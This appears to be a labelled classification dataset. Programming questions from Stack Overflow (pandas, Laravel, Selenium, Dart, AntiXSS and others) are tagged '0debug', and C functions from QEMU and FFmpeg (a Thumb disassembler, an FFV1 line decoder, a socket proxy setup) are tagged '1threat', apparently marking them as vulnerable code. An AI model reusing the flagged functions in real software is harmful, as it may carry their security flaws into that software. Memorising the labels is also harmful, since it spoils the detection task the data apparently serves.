Pandas: How to make apply on dataframe faster? : <p>Consider this pandas example where I'm calculating column <code>C</code> by multiplying <code>A</code> with <code>B</code> and a <code>float</code> if a certain condition is fulfilled using <code>apply</code> with a <code>lambda</code> function:</p>
<pre><code>import pandas as pd
df = pd.DataFrame({'A':[1,2,3,4,5,6,7,8,9],'B':[9,8,7,6,5,4,3,2,1]})
df['C'] = df.apply(lambda x: x.A if x.B > 5 else 0.1*x.A*x.B, axis=1)
</code></pre>
<p>The expected result would be:</p>
<pre><code> A B C
0 1 9 1.0
1 2 8 2.0
2 3 7 3.0
3 4 6 4.0
4 5 5 2.5
5 6 4 2.4
6 7 3 2.1
7 8 2 1.6
8 9 1 0.9
</code></pre>
<p>The problem is that this code is slow and I need to do this operation on a dataframe with around 56 million rows.</p>
<p>The <code>%timeit</code>-result of the above lambda operation is:</p>
<pre><code>1000 loops, best of 3: 1.63 ms per loop
</code></pre>
<p>Going from the calculation time and also the memory usage when doing this on my large dataframe I presume this operation uses intermediary series while doing the calculations.</p>
<p>I tried to formulate it in different ways including using temporary columns, but every alternative solution I came up with is even slower.</p>
<p>Is there a way to get the result I need in a different and faster way, e.g. by using <code>numpy</code>?</p>
| 0debug |
Laravel Migration - Adding Check Constraints In Table : <p>I want to create a table in Laravel Migration like this-</p>
<pre><code>CREATE TABLE Payroll
(
ID int PRIMARY KEY,
PositionID INT,
Salary decimal(9,2)
CHECK (Salary < 150000.00)
);
</code></pre>
<p>What I have done is-</p>
<pre><code>Schema::create('Payroll', function (Blueprint $table)
{
$table->increments('id');
$table->integer('PositionID ');
$table->decimal('Salary',9,2);
//$table->timestamps();
});
</code></pre>
<p>But I can't create this-</p>
<pre><code> CHECK (Salary < 150000.00)
</code></pre>
<p>Can anyone please tell, how to implement this <code>CHECK</code> constraints in <a href="https://laravel.com/docs/5.1/migrations" rel="noreferrer">Laravel Migration</a> ?</p>
| 0debug |
Build Failure. Error: 'path' cannot be an empty string ("") or start with the null character : <p>I have a solution that builds fine in VS2015. I just installed VS2017 RTM and after conversion, attempts to build the solution fail immediately with the error:</p>
<blockquote>
<p>Build Failure. Error: 'path' cannot be an empty string ("") or start with the null character.</p>
</blockquote>
<p>How can I get around this?</p>
| 0debug |
sql querry statement : having two tables named hh-memberQ and householdQ and they all contain hh_uuid and UUID respectively i want to find all UUIDs in HH_UUIDs | 0debug |
Selenium - session not created from disconnected: unable to send message to renderer : i try to run this simple program on Java with Selenium:
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.chrome.ChromeDriver;
public class MySelenium {
public static void main(String[] args) {
// TODO Auto-generated method stub
System.out.println("First Selenium");
System.setProperty("webdriver.chrome.driver", "C:\\automation\\drivers\\chromedriver.exe");
WebDriver driver = new ChromeDriver();
driver.get("https://www.seleniumhq.org/");
driver.quit();
}
}
but on running shows the following error:
[![enter image description here][1]][1]
[1]: https://i.stack.imgur.com/k33Wl.png
how can i fixed this error ?
thanks | 0debug |
static void vapic_reset(DeviceState *dev)
{
VAPICROMState *s = VAPIC(dev);
if (s->state == VAPIC_ACTIVE) {
s->state = VAPIC_STANDBY;
}
vapic_enable_tpr_reporting(false);
}
| 1threat |
static av_always_inline void decode_line(FFV1Context *s, int w,
int16_t *sample[2],
int plane_index, int bits)
{
PlaneContext *const p = &s->plane[plane_index];
RangeCoder *const c = &s->c;
int x;
int run_count = 0;
int run_mode = 0;
int run_index = s->run_index;
for (x = 0; x < w; x++) {
int diff, context, sign;
context = get_context(p, sample[1] + x, sample[0] + x, sample[1] + x);
if (context < 0) {
context = -context;
sign = 1;
} else
sign = 0;
av_assert2(context < p->context_count);
if (s->ac) {
diff = get_symbol_inline(c, p->state[context], 1);
} else {
if (context == 0 && run_mode == 0)
run_mode = 1;
if (run_mode) {
if (run_count == 0 && run_mode == 1) {
if (get_bits1(&s->gb)) {
run_count = 1 << ff_log2_run[run_index];
if (x + run_count <= w)
run_index++;
} else {
if (ff_log2_run[run_index])
run_count = get_bits(&s->gb, ff_log2_run[run_index]);
else
run_count = 0;
if (run_index)
run_index--;
run_mode = 2;
}
}
run_count--;
if (run_count < 0) {
run_mode = 0;
run_count = 0;
diff = get_vlc_symbol(&s->gb, &p->vlc_state[context],
bits);
if (diff >= 0)
diff++;
} else
diff = 0;
} else
diff = get_vlc_symbol(&s->gb, &p->vlc_state[context], bits);
ff_dlog(s->avctx, "count:%d index:%d, mode:%d, x:%d pos:%d\n",
run_count, run_index, run_mode, x, get_bits_count(&s->gb));
}
if (sign)
diff = -diff;
sample[1][x] = (predict(sample[1] + x, sample[0] + x) + diff) &
((1 << bits) - 1);
}
s->run_index = run_index;
}
| 1threat |
static void disas_thumb_insn(CPUARMState *env, DisasContext *s)
{
uint32_t val, insn, op, rm, rn, rd, shift, cond;
int32_t offset;
int i;
TCGv_i32 tmp;
TCGv_i32 tmp2;
TCGv_i32 addr;
if (s->condexec_mask) {
cond = s->condexec_cond;
if (cond != 0x0e) {
s->condlabel = gen_new_label();
gen_test_cc(cond ^ 1, s->condlabel);
s->condjmp = 1;
}
}
insn = arm_lduw_code(env, s->pc, s->bswap_code);
s->pc += 2;
switch (insn >> 12) {
case 0: case 1:
rd = insn & 7;
op = (insn >> 11) & 3;
if (op == 3) {
rn = (insn >> 3) & 7;
tmp = load_reg(s, rn);
if (insn & (1 << 10)) {
tmp2 = tcg_temp_new_i32();
tcg_gen_movi_i32(tmp2, (insn >> 6) & 7);
} else {
rm = (insn >> 6) & 7;
tmp2 = load_reg(s, rm);
}
if (insn & (1 << 9)) {
if (s->condexec_mask)
tcg_gen_sub_i32(tmp, tmp, tmp2);
else
gen_sub_CC(tmp, tmp, tmp2);
} else {
if (s->condexec_mask)
tcg_gen_add_i32(tmp, tmp, tmp2);
else
gen_add_CC(tmp, tmp, tmp2);
}
tcg_temp_free_i32(tmp2);
store_reg(s, rd, tmp);
} else {
rm = (insn >> 3) & 7;
shift = (insn >> 6) & 0x1f;
tmp = load_reg(s, rm);
gen_arm_shift_im(tmp, op, shift, s->condexec_mask == 0);
if (!s->condexec_mask)
gen_logic_CC(tmp);
store_reg(s, rd, tmp);
}
break;
case 2: case 3:
op = (insn >> 11) & 3;
rd = (insn >> 8) & 0x7;
if (op == 0) {
tmp = tcg_temp_new_i32();
tcg_gen_movi_i32(tmp, insn & 0xff);
if (!s->condexec_mask)
gen_logic_CC(tmp);
store_reg(s, rd, tmp);
} else {
tmp = load_reg(s, rd);
tmp2 = tcg_temp_new_i32();
tcg_gen_movi_i32(tmp2, insn & 0xff);
switch (op) {
case 1:
gen_sub_CC(tmp, tmp, tmp2);
tcg_temp_free_i32(tmp);
tcg_temp_free_i32(tmp2);
break;
case 2:
if (s->condexec_mask)
tcg_gen_add_i32(tmp, tmp, tmp2);
else
gen_add_CC(tmp, tmp, tmp2);
tcg_temp_free_i32(tmp2);
store_reg(s, rd, tmp);
break;
case 3:
if (s->condexec_mask)
tcg_gen_sub_i32(tmp, tmp, tmp2);
else
gen_sub_CC(tmp, tmp, tmp2);
tcg_temp_free_i32(tmp2);
store_reg(s, rd, tmp);
break;
}
}
break;
case 4:
if (insn & (1 << 11)) {
rd = (insn >> 8) & 7;
val = s->pc + 2 + ((insn & 0xff) * 4);
val &= ~(uint32_t)2;
addr = tcg_temp_new_i32();
tcg_gen_movi_i32(addr, val);
tmp = tcg_temp_new_i32();
gen_aa32_ld32u(tmp, addr, IS_USER(s));
tcg_temp_free_i32(addr);
store_reg(s, rd, tmp);
break;
}
if (insn & (1 << 10)) {
rd = (insn & 7) | ((insn >> 4) & 8);
rm = (insn >> 3) & 0xf;
op = (insn >> 8) & 3;
switch (op) {
case 0:
tmp = load_reg(s, rd);
tmp2 = load_reg(s, rm);
tcg_gen_add_i32(tmp, tmp, tmp2);
tcg_temp_free_i32(tmp2);
store_reg(s, rd, tmp);
break;
case 1:
tmp = load_reg(s, rd);
tmp2 = load_reg(s, rm);
gen_sub_CC(tmp, tmp, tmp2);
tcg_temp_free_i32(tmp2);
tcg_temp_free_i32(tmp);
break;
case 2:
tmp = load_reg(s, rm);
store_reg(s, rd, tmp);
break;
case 3:
tmp = load_reg(s, rm);
if (insn & (1 << 7)) {
ARCH(5);
val = (uint32_t)s->pc | 1;
tmp2 = tcg_temp_new_i32();
tcg_gen_movi_i32(tmp2, val);
store_reg(s, 14, tmp2);
}
gen_bx(s, tmp);
break;
}
break;
}
rd = insn & 7;
rm = (insn >> 3) & 7;
op = (insn >> 6) & 0xf;
if (op == 2 || op == 3 || op == 4 || op == 7) {
val = rm;
rm = rd;
rd = val;
val = 1;
} else {
val = 0;
}
if (op == 9) {
tmp = tcg_temp_new_i32();
tcg_gen_movi_i32(tmp, 0);
} else if (op != 0xf) {
tmp = load_reg(s, rd);
} else {
TCGV_UNUSED_I32(tmp);
}
tmp2 = load_reg(s, rm);
switch (op) {
case 0x0:
tcg_gen_and_i32(tmp, tmp, tmp2);
if (!s->condexec_mask)
gen_logic_CC(tmp);
break;
case 0x1:
tcg_gen_xor_i32(tmp, tmp, tmp2);
if (!s->condexec_mask)
gen_logic_CC(tmp);
break;
case 0x2:
if (s->condexec_mask) {
gen_shl(tmp2, tmp2, tmp);
} else {
gen_helper_shl_cc(tmp2, cpu_env, tmp2, tmp);
gen_logic_CC(tmp2);
}
break;
case 0x3:
if (s->condexec_mask) {
gen_shr(tmp2, tmp2, tmp);
} else {
gen_helper_shr_cc(tmp2, cpu_env, tmp2, tmp);
gen_logic_CC(tmp2);
}
break;
case 0x4:
if (s->condexec_mask) {
gen_sar(tmp2, tmp2, tmp);
} else {
gen_helper_sar_cc(tmp2, cpu_env, tmp2, tmp);
gen_logic_CC(tmp2);
}
break;
case 0x5:
if (s->condexec_mask) {
gen_adc(tmp, tmp2);
} else {
gen_adc_CC(tmp, tmp, tmp2);
}
break;
case 0x6:
if (s->condexec_mask) {
gen_sub_carry(tmp, tmp, tmp2);
} else {
gen_sbc_CC(tmp, tmp, tmp2);
}
break;
case 0x7:
if (s->condexec_mask) {
tcg_gen_andi_i32(tmp, tmp, 0x1f);
tcg_gen_rotr_i32(tmp2, tmp2, tmp);
} else {
gen_helper_ror_cc(tmp2, cpu_env, tmp2, tmp);
gen_logic_CC(tmp2);
}
break;
case 0x8:
tcg_gen_and_i32(tmp, tmp, tmp2);
gen_logic_CC(tmp);
rd = 16;
break;
case 0x9:
if (s->condexec_mask)
tcg_gen_neg_i32(tmp, tmp2);
else
gen_sub_CC(tmp, tmp, tmp2);
break;
case 0xa:
gen_sub_CC(tmp, tmp, tmp2);
rd = 16;
break;
case 0xb:
gen_add_CC(tmp, tmp, tmp2);
rd = 16;
break;
case 0xc:
tcg_gen_or_i32(tmp, tmp, tmp2);
if (!s->condexec_mask)
gen_logic_CC(tmp);
break;
case 0xd:
tcg_gen_mul_i32(tmp, tmp, tmp2);
if (!s->condexec_mask)
gen_logic_CC(tmp);
break;
case 0xe:
tcg_gen_andc_i32(tmp, tmp, tmp2);
if (!s->condexec_mask)
gen_logic_CC(tmp);
break;
case 0xf:
tcg_gen_not_i32(tmp2, tmp2);
if (!s->condexec_mask)
gen_logic_CC(tmp2);
val = 1;
rm = rd;
break;
}
if (rd != 16) {
if (val) {
store_reg(s, rm, tmp2);
if (op != 0xf)
tcg_temp_free_i32(tmp);
} else {
store_reg(s, rd, tmp);
tcg_temp_free_i32(tmp2);
}
} else {
tcg_temp_free_i32(tmp);
tcg_temp_free_i32(tmp2);
}
break;
case 5:
rd = insn & 7;
rn = (insn >> 3) & 7;
rm = (insn >> 6) & 7;
op = (insn >> 9) & 7;
addr = load_reg(s, rn);
tmp = load_reg(s, rm);
tcg_gen_add_i32(addr, addr, tmp);
tcg_temp_free_i32(tmp);
if (op < 3) {
tmp = load_reg(s, rd);
} else {
tmp = tcg_temp_new_i32();
}
switch (op) {
case 0:
gen_aa32_st32(tmp, addr, IS_USER(s));
break;
case 1:
gen_aa32_st16(tmp, addr, IS_USER(s));
break;
case 2:
gen_aa32_st8(tmp, addr, IS_USER(s));
break;
case 3:
gen_aa32_ld8s(tmp, addr, IS_USER(s));
break;
case 4:
gen_aa32_ld32u(tmp, addr, IS_USER(s));
break;
case 5:
gen_aa32_ld16u(tmp, addr, IS_USER(s));
break;
case 6:
gen_aa32_ld8u(tmp, addr, IS_USER(s));
break;
case 7:
gen_aa32_ld16s(tmp, addr, IS_USER(s));
break;
}
if (op >= 3) {
store_reg(s, rd, tmp);
} else {
tcg_temp_free_i32(tmp);
}
tcg_temp_free_i32(addr);
break;
case 6:
rd = insn & 7;
rn = (insn >> 3) & 7;
addr = load_reg(s, rn);
val = (insn >> 4) & 0x7c;
tcg_gen_addi_i32(addr, addr, val);
if (insn & (1 << 11)) {
tmp = tcg_temp_new_i32();
gen_aa32_ld32u(tmp, addr, IS_USER(s));
store_reg(s, rd, tmp);
} else {
tmp = load_reg(s, rd);
gen_aa32_st32(tmp, addr, IS_USER(s));
tcg_temp_free_i32(tmp);
}
tcg_temp_free_i32(addr);
break;
case 7:
rd = insn & 7;
rn = (insn >> 3) & 7;
addr = load_reg(s, rn);
val = (insn >> 6) & 0x1f;
tcg_gen_addi_i32(addr, addr, val);
if (insn & (1 << 11)) {
tmp = tcg_temp_new_i32();
gen_aa32_ld8u(tmp, addr, IS_USER(s));
store_reg(s, rd, tmp);
} else {
tmp = load_reg(s, rd);
gen_aa32_st8(tmp, addr, IS_USER(s));
tcg_temp_free_i32(tmp);
}
tcg_temp_free_i32(addr);
break;
case 8:
rd = insn & 7;
rn = (insn >> 3) & 7;
addr = load_reg(s, rn);
val = (insn >> 5) & 0x3e;
tcg_gen_addi_i32(addr, addr, val);
if (insn & (1 << 11)) {
tmp = tcg_temp_new_i32();
gen_aa32_ld16u(tmp, addr, IS_USER(s));
store_reg(s, rd, tmp);
} else {
tmp = load_reg(s, rd);
gen_aa32_st16(tmp, addr, IS_USER(s));
tcg_temp_free_i32(tmp);
}
tcg_temp_free_i32(addr);
break;
case 9:
rd = (insn >> 8) & 7;
addr = load_reg(s, 13);
val = (insn & 0xff) * 4;
tcg_gen_addi_i32(addr, addr, val);
if (insn & (1 << 11)) {
tmp = tcg_temp_new_i32();
gen_aa32_ld32u(tmp, addr, IS_USER(s));
store_reg(s, rd, tmp);
} else {
tmp = load_reg(s, rd);
gen_aa32_st32(tmp, addr, IS_USER(s));
tcg_temp_free_i32(tmp);
}
tcg_temp_free_i32(addr);
break;
case 10:
rd = (insn >> 8) & 7;
if (insn & (1 << 11)) {
tmp = load_reg(s, 13);
} else {
tmp = tcg_temp_new_i32();
tcg_gen_movi_i32(tmp, (s->pc + 2) & ~(uint32_t)2);
}
val = (insn & 0xff) * 4;
tcg_gen_addi_i32(tmp, tmp, val);
store_reg(s, rd, tmp);
break;
case 11:
op = (insn >> 8) & 0xf;
switch (op) {
case 0:
tmp = load_reg(s, 13);
val = (insn & 0x7f) * 4;
if (insn & (1 << 7))
val = -(int32_t)val;
tcg_gen_addi_i32(tmp, tmp, val);
store_reg(s, 13, tmp);
break;
case 2:
ARCH(6);
rd = insn & 7;
rm = (insn >> 3) & 7;
tmp = load_reg(s, rm);
switch ((insn >> 6) & 3) {
case 0: gen_sxth(tmp); break;
case 1: gen_sxtb(tmp); break;
case 2: gen_uxth(tmp); break;
case 3: gen_uxtb(tmp); break;
}
store_reg(s, rd, tmp);
break;
case 4: case 5: case 0xc: case 0xd:
addr = load_reg(s, 13);
if (insn & (1 << 8))
offset = 4;
else
offset = 0;
for (i = 0; i < 8; i++) {
if (insn & (1 << i))
offset += 4;
}
if ((insn & (1 << 11)) == 0) {
tcg_gen_addi_i32(addr, addr, -offset);
}
for (i = 0; i < 8; i++) {
if (insn & (1 << i)) {
if (insn & (1 << 11)) {
tmp = tcg_temp_new_i32();
gen_aa32_ld32u(tmp, addr, IS_USER(s));
store_reg(s, i, tmp);
} else {
tmp = load_reg(s, i);
gen_aa32_st32(tmp, addr, IS_USER(s));
tcg_temp_free_i32(tmp);
}
tcg_gen_addi_i32(addr, addr, 4);
}
}
TCGV_UNUSED_I32(tmp);
if (insn & (1 << 8)) {
if (insn & (1 << 11)) {
tmp = tcg_temp_new_i32();
gen_aa32_ld32u(tmp, addr, IS_USER(s));
} else {
tmp = load_reg(s, 14);
gen_aa32_st32(tmp, addr, IS_USER(s));
tcg_temp_free_i32(tmp);
}
tcg_gen_addi_i32(addr, addr, 4);
}
if ((insn & (1 << 11)) == 0) {
tcg_gen_addi_i32(addr, addr, -offset);
}
store_reg(s, 13, addr);
if ((insn & 0x0900) == 0x0900) {
store_reg_from_load(env, s, 15, tmp);
}
break;
case 1: case 3: case 9: case 11:
rm = insn & 7;
tmp = load_reg(s, rm);
s->condlabel = gen_new_label();
s->condjmp = 1;
if (insn & (1 << 11))
tcg_gen_brcondi_i32(TCG_COND_EQ, tmp, 0, s->condlabel);
else
tcg_gen_brcondi_i32(TCG_COND_NE, tmp, 0, s->condlabel);
tcg_temp_free_i32(tmp);
offset = ((insn & 0xf8) >> 2) | (insn & 0x200) >> 3;
val = (uint32_t)s->pc + 2;
val += offset;
gen_jmp(s, val);
break;
case 15:
if ((insn & 0xf) == 0) {
gen_nop_hint(s, (insn >> 4) & 0xf);
break;
}
s->condexec_cond = (insn >> 4) & 0xe;
s->condexec_mask = insn & 0x1f;
break;
case 0xe:
ARCH(5);
gen_exception_insn(s, 2, EXCP_BKPT);
break;
case 0xa:
ARCH(6);
rn = (insn >> 3) & 0x7;
rd = insn & 0x7;
tmp = load_reg(s, rn);
switch ((insn >> 6) & 3) {
case 0: tcg_gen_bswap32_i32(tmp, tmp); break;
case 1: gen_rev16(tmp); break;
case 3: gen_revsh(tmp); break;
default: goto illegal_op;
}
store_reg(s, rd, tmp);
break;
case 6:
switch ((insn >> 5) & 7) {
case 2:
ARCH(6);
if (((insn >> 3) & 1) != s->bswap_code) {
qemu_log_mask(LOG_UNIMP, "arm: unimplemented setend\n");
goto illegal_op;
}
break;
case 3:
ARCH(6);
if (IS_USER(s)) {
break;
}
if (IS_M(env)) {
tmp = tcg_const_i32((insn & (1 << 4)) != 0);
if (insn & 1) {
addr = tcg_const_i32(19);
gen_helper_v7m_msr(cpu_env, addr, tmp);
tcg_temp_free_i32(addr);
}
if (insn & 2) {
addr = tcg_const_i32(16);
gen_helper_v7m_msr(cpu_env, addr, tmp);
tcg_temp_free_i32(addr);
}
tcg_temp_free_i32(tmp);
gen_lookup_tb(s);
} else {
if (insn & (1 << 4)) {
shift = CPSR_A | CPSR_I | CPSR_F;
} else {
shift = 0;
}
gen_set_psr_im(s, ((insn & 7) << 6), 0, shift);
}
break;
default:
goto undef;
}
break;
default:
goto undef;
}
break;
case 12:
{
TCGv_i32 loaded_var;
TCGV_UNUSED_I32(loaded_var);
rn = (insn >> 8) & 0x7;
addr = load_reg(s, rn);
for (i = 0; i < 8; i++) {
if (insn & (1 << i)) {
if (insn & (1 << 11)) {
tmp = tcg_temp_new_i32();
gen_aa32_ld32u(tmp, addr, IS_USER(s));
if (i == rn) {
loaded_var = tmp;
} else {
store_reg(s, i, tmp);
}
} else {
tmp = load_reg(s, i);
gen_aa32_st32(tmp, addr, IS_USER(s));
tcg_temp_free_i32(tmp);
}
tcg_gen_addi_i32(addr, addr, 4);
}
}
if ((insn & (1 << rn)) == 0) {
store_reg(s, rn, addr);
} else {
if (insn & (1 << 11)) {
store_reg(s, rn, loaded_var);
}
tcg_temp_free_i32(addr);
}
break;
}
case 13:
cond = (insn >> 8) & 0xf;
if (cond == 0xe)
goto undef;
if (cond == 0xf) {
gen_set_pc_im(s, s->pc);
s->is_jmp = DISAS_SWI;
break;
}
s->condlabel = gen_new_label();
gen_test_cc(cond ^ 1, s->condlabel);
s->condjmp = 1;
val = (uint32_t)s->pc + 2;
offset = ((int32_t)insn << 24) >> 24;
val += offset << 1;
gen_jmp(s, val);
break;
case 14:
if (insn & (1 << 11)) {
if (disas_thumb2_insn(env, s, insn))
goto undef32;
break;
}
val = (uint32_t)s->pc;
offset = ((int32_t)insn << 21) >> 21;
val += (offset << 1) + 2;
gen_jmp(s, val);
break;
case 15:
if (disas_thumb2_insn(env, s, insn))
goto undef32;
break;
}
return;
undef32:
gen_exception_insn(s, 4, EXCP_UDEF);
return;
illegal_op:
undef:
gen_exception_insn(s, 2, EXCP_UDEF);
}
| 1threat |
Dart: Should I prefer to iterate over Map.entries or Map.values? : <p>Every time I need to iterate over the values of a <code>Map</code> in Dart, I contemplate the cost that this loop will incur, in terms of the complexity and the amount of garbage produced. There are two ways to iterate over the values of a <code>Map</code>: <code>Map.values</code>, and <code>Map.entries</code>. For example:</p>
<pre class="lang-dart prettyprint-override"><code>Map<String, Person> people;
int olderThan(int age) {
int result = 0;
for(Person p in people.values)
if(p.age > age) result++;
return result;
}
int olderThan2(int age) {
int result = 0;
for(MapEntry<String, Person> me in people.entries)
if(me.value.age > age) result++;
return result;
}
// Which one is faster: olderThan or olderThan2?
</code></pre>
<p>If <code>Map</code> stores its values internally as <code>MapEntry</code> objects, it's possible that <code>entries</code> would be just as efficient or even more efficient than <code>values</code>. The implementation details of <code>Map</code> are buried deep inside Dart libraries, so I wonder if anybody has this knowledge and can shed the light on this subject. </p>
<p>I understand that <code>Map.entries</code> gives you access to the key, but I am talking about cases where I don't need to use the key of the entry. I also understand that there are different implementations of <code>Map</code>. I am mostly interested in the default implementation, <code>LinkedHashMap</code>, but if it would be nice to know if there's a difference between the different <code>Map</code> implementations in this aspect. </p>
| 0debug |
My code seems to only let player 2 win I am not sure what I need to change : I have human player and and random player.
The humanplayer is an input and the random player just plays a random move. I play them against each other and the player 2 always wins I am not sure what is missing. I have tried mutlpe things. I have tried editing the beats fucntion but I need that for the hw. They gave us that in the starter code.
I am thinking it has something to do with the players
this is a link to the code. https://codeshare.io/aY9KPM
| 0debug |
static void term_show_prompt2(void)
{
term_printf("(qemu) ");
fflush(stdout);
term_last_cmd_buf_index = 0;
term_last_cmd_buf_size = 0;
term_esc_state = IS_NORM;
}
| 1threat |
Advice on way to store data in firebase : <p>I'm developing a simple app via flutter that allows users to do MCQ questions. I have stored the questions in a collection (Firestore is the database). What I want to do is retrieve a question from the questionsCollection that the user have not done. My question is what is the best store the data and how to retrieve questions. </p>
| 0debug |
how to delete unnecessary spaces with java 8? : <p>can anyone help me to find a solution to this problem in Java 8:</p>
<p>A string of characters is composed of multiple spaces is given to you. You must remove all unnecessary spaces by writing an algorithm.</p>
<p>Entry: String containing a sentence.
Output: String containing the same sentence without unnecessary spaces.</p>
<p>Example:
For the following entry: "I (3spaces) live (3spaces) on (3spaces) earth."
The output is: "I live on earth."</p>
| 0debug |
what is the difference between "withRun" and "inside" in Jenkinsfile? : <p>I have a Jenkinsfile in which I am trying to execute <code>npm run test</code> inside a container.
When I run with <code>inside</code> it fails but when I run with <code>withRun</code> it runs as I want to.</p>
<p>Code for reference
with <code>inside</code></p>
<pre><code>stage('Test') {
docker.image('justinribeiro/chrome-headless').inside ("-p 9222:9222 --security-opt seccomp=$WORKSPACE/chrome.json") {
sh label:
'Running npm test',
script: '''
npm run test
'''
}
}
</code></pre>
<p>With <code>withRun</code></p>
<pre><code>stage('Test') {
docker.image('justinribeiro/chrome-headless').withRun ("-p 9222:9222 --security-opt seccomp=$WORKSPACE/chrome.json") {
sh label:
'Running npm test',
script: '''
npm run test
'''
}
}
</code></pre>
<p>Now I want to understand what is the difference between them.</p>
<p>I have observed that <code>inside</code> adds volumes and runs <code>cat</code> on container whereas <code>withRun</code> does not.</p>
<p>I also read the documentation <a href="https://jenkins.io/doc/book/pipeline/docker/" rel="noreferrer">https://jenkins.io/doc/book/pipeline/docker/</a> but did not understand well enough.</p>
<p>A much more detailed explanation will be much appreciated.</p>
<p>Thanks.</p>
| 0debug |
AntiXSS in ASP.Net Core : <p><a href="https://wpl.codeplex.com/" rel="noreferrer">Microsoft Web Protection Library (AntiXSS)</a> has reached End of Life. The page states "In .NET 4.0 a version of AntiXSS was included in the framework and could be enabled via configuration. In ASP.NET v5 a white list based encoder will be the only encoder."</p>
<p>I have a classic cross site scripting scenario: An ASP.Net Core solution where users can edit text using a WYSIWYG html-editor. The result is displayed for others to see. This means that if users inject a JavaScript into the data they submit when saving the text this code could execute when others visits the page. </p>
<p>I want to be able to whitelist certain HTML-codes (safe ones), but strip out bad codes.</p>
<p>How do I do this? I can't find any methods in ASP.Net Core RC2 to help me. Where is this white list encoder? How do I invoke it? For example I would need to clean output being returned via JSON WebAPI.</p>
| 0debug |
return maximum and minimum number with serial number : I have an array like this $int = array(11,33,44,88);
My question is how can i make the output like this
max: 88 at index 0
min: 11 at index 4 | 0debug |
static int proxy_socket(const char *path, uid_t uid, gid_t gid)
{
int sock, client;
struct sockaddr_un proxy, qemu;
socklen_t size;
if (!access(path, F_OK)) {
do_log(LOG_CRIT, "socket already exists\n");
return -1;
}
sock = socket(AF_UNIX, SOCK_STREAM, 0);
if (sock < 0) {
do_perror("socket");
return -1;
}
umask(7);
proxy.sun_family = AF_UNIX;
strcpy(proxy.sun_path, path);
if (bind(sock, (struct sockaddr *)&proxy,
sizeof(struct sockaddr_un)) < 0) {
do_perror("bind");
goto error;
}
if (chown(proxy.sun_path, uid, gid) < 0) {
do_perror("chown");
goto error;
}
if (listen(sock, 1) < 0) {
do_perror("listen");
goto error;
}
size = sizeof(qemu);
client = accept(sock, (struct sockaddr *)&qemu, &size);
if (client < 0) {
do_perror("accept");
goto error;
}
close(sock);
return client;
error:
close(sock);
return -1;
} | 1threat |
How to make windows read all .dll files while scanning the c: drive : <p>I am trying to make file scanner that scans for dlls. I try to scan my C: Drive but it doesn't scan the whole thing it just scans the portion with some random .txt and .sys files</p>
<pre><code>using System;
using System.IO;
using System.Diagnostics;
using System.Threading;
namespace DLLScanner
{
class CheaterBeater
{
static System.Collections.Specialized.StringCollection log = new System.Collections.Specialized.StringCollection();
static void Main ()
{
string[] drives = System.Environment.GetLogicalDrives ();
foreach (string dr in drives) {
System.IO.DriveInfo di = new System.IO.DriveInfo (dr);
if (!di.IsReady) {
Console.WriteLine ("The drive {0} could not be read or processed (32 Bit System)", di.Name);
continue;
}
System.IO.DirectoryInfo rootDir = di.RootDirectory;
WalkDirectoryTree (rootDir);
}
Console.WriteLine ("These are files with restricted access or could not be processed:");
foreach (string s in log) {
Console.WriteLine (s);
}
Console.WriteLine ("Press any key to exit");
Console.ReadKey ();
}
static void WalkDirectoryTree (System.IO.DirectoryInfo root)
{
System.IO.FileInfo[] files = null;
System.IO.DirectoryInfo[] subDirs = null;
// First, process all the files directly under this folder
try {
files = root.GetFiles ("*.*");
} catch (UnauthorizedAccessException e) {
log.Add (e.Message);
} catch (System.IO.DirectoryNotFoundException e) {
Console.WriteLine (e.Message);
}
if (files != null) {
foreach (System.IO.FileInfo fi in files) {
Console.WriteLine (fi.FullName);
}
}
} }
}
</code></pre>
<p>Any help is appreciated :)</p>
| 0debug |
static void tcg_out_qemu_st(TCGContext *s, const TCGArg *args, bool is_64)
{
TCGReg datalo, datahi, addrlo, rbase;
TCGReg addrhi __attribute__((unused));
TCGMemOpIdx oi;
TCGMemOp opc, s_bits;
#ifdef CONFIG_SOFTMMU
int mem_index;
tcg_insn_unit *label_ptr;
#endif
datalo = *args++;
datahi = (TCG_TARGET_REG_BITS == 32 && is_64 ? *args++ : 0);
addrlo = *args++;
addrhi = (TCG_TARGET_REG_BITS < TARGET_LONG_BITS ? *args++ : 0);
oi = *args++;
opc = get_memop(oi);
s_bits = opc & MO_SIZE;
#ifdef CONFIG_SOFTMMU
mem_index = get_mmuidx(oi);
addrlo = tcg_out_tlb_read(s, s_bits, addrlo, addrhi, mem_index, false);
label_ptr = s->code_ptr;
tcg_out_bc_noaddr(s, BC | BI(7, CR_EQ) | BO_COND_FALSE | LK);
rbase = TCG_REG_R3;
#else
rbase = GUEST_BASE ? TCG_GUEST_BASE_REG : 0;
if (TCG_TARGET_REG_BITS > TARGET_LONG_BITS) {
tcg_out_ext32u(s, TCG_REG_TMP1, addrlo);
addrlo = TCG_REG_TMP1;
}
#endif
if (TCG_TARGET_REG_BITS == 32 && s_bits == MO_64) {
if (opc & MO_BSWAP) {
tcg_out32(s, ADDI | TAI(TCG_REG_R0, addrlo, 4));
tcg_out32(s, STWBRX | SAB(datalo, rbase, addrlo));
tcg_out32(s, STWBRX | SAB(datahi, rbase, TCG_REG_R0));
} else if (rbase != 0) {
tcg_out32(s, ADDI | TAI(TCG_REG_R0, addrlo, 4));
tcg_out32(s, STWX | SAB(datahi, rbase, addrlo));
tcg_out32(s, STWX | SAB(datalo, rbase, TCG_REG_R0));
} else {
tcg_out32(s, STW | TAI(datahi, addrlo, 0));
tcg_out32(s, STW | TAI(datalo, addrlo, 4));
}
} else {
uint32_t insn = qemu_stx_opc[opc & (MO_BSWAP | MO_SIZE)];
if (!HAVE_ISA_2_06 && insn == STDBRX) {
tcg_out32(s, STWBRX | SAB(datalo, rbase, addrlo));
tcg_out32(s, ADDI | TAI(TCG_REG_TMP1, addrlo, 4));
tcg_out_shri64(s, TCG_REG_R0, datalo, 32);
tcg_out32(s, STWBRX | SAB(TCG_REG_R0, rbase, TCG_REG_TMP1));
} else {
tcg_out32(s, insn | SAB(datalo, rbase, addrlo));
}
}
#ifdef CONFIG_SOFTMMU
add_qemu_ldst_label(s, false, oi, datalo, datahi, addrlo, addrhi,
s->code_ptr, label_ptr);
#endif
}
| 1threat |
Create custom maps where specific streets get specific colour : <p>I'm looking for a (good) solution to solve the following problem:</p>
<ul>
<li>provide users with a searchable map</li>
<li>search is constrained to street names</li>
<li>a statically known set of street names needs to be coloured in a specific way (e.g. some get a strong red, a soft red, a strong green, etc)</li>
</ul>
